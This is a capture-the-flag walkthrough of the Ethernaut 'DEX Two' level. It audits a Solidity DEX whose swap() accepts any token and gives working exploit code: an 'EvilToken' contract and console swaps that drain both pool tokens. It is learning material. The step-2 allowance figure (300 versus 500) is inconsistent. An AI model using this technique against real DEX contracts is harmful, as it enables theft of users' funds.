# DEX Two

## Description

This level will ask you to break `DexTwo`, a subtlely modified `Dex` contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the `DexTwo` contract to succeed in this level.

You will still start with 10 tokens of `token1` and 10 of `token2`. The DEX contract still starts with 100 of each token.

Things that might help:

* How has the `swap` method been modified?

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}
```

Compared with DEX, DEX Two has a different implementation of the `swap()` function:

!\[\[DEX Two swap().png]]

The following `require` statement was implemented in DEX's `swap()` but it is missing in DEX Two's `swap()`:

```solidity
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
```

This is problematic: we can introduce external token contracts (other than `token1` and `token2`). The objective of this challenge is to drain **both** `token1` and `token2` (recall that in DEX we just had to drain one of them), and we can achieve that with a customized external token.

## Solution

Check out [this writeup](https://dev.to/nvn/ethernaut-hacks-level-23-dex-two-4424) for the math.

We deploy a customized token contract and name the token "EvilToken" (EVL):

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}
```

Deploy it with initial supply 400 (any large number suffices) in Remix. Send 100 EVL to the challenge contract by calling `transfer("<your_challenge_contract_address>", 100)`.

**Step 1:** Get token contract addresses:

```javascript
evlToken = "<your_EVL_token_contract_address>"
t1 = await contract.token1()
t2 = await contract.token2()
```

**Step 2:** In Remix, set allowance of the challenge contract to 300 by calling `approve("<your_challenge_contract_address>", 500)` (100 for `token1` and 200 for `token2`).

At this stage, we have 100 `token1`, 100 `token2`, and 100 `EVL` in the DEX. The price is 1:1:1.

**Step 3:** Swap 100 `token1` using 100 `EVL` to drain `token1`:

```javascript
await contract.swap(evlToken, t1, 100)
```

This works because `token1` and `EVL` are 100:100 = 1:1. Verify if `token1` is successfully drained:

```javascript
await contract.balanceOf(t1, instance).then(v => v.toString())
```

**Step 4:** Swap 100 `token2` using 200 `EVL` to drain `token2`:

```javascript
await contract.swap(evlToken, t2, 200)
```

This works because `token2` and `EVL` are 100:200 = 1:2. Verify if `token2` is successfully drained:

```javascript
await contract.balanceOf(t2, instance).then(v => v.toString())
```

## Summary

As we've repeatedly seen, interaction between contracts can be a source of unexpected behavior.

Just because a contract claims to implement the [ERC20 spec](https://eips.ethereum.org/EIPS/eip-20) does not mean it's trust worthy.

Some tokens deviate from the ERC20 spec by not returning a boolean value from their `transfer` methods. See [Missing return value bug - At least 130 tokens affected](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca).

Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.

If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.

## Further Reading

Last time we read samczsun's price oracle article. This time we are going to dig a little deeper. **cmichel** has an article explaining the "Warp Finance hack":

{% embed url="<https://cmichel.io/pricing-lp-tokens/>" %}
Pricing LP tokens - Warp Finance hack - cmichel
{% endembed %}
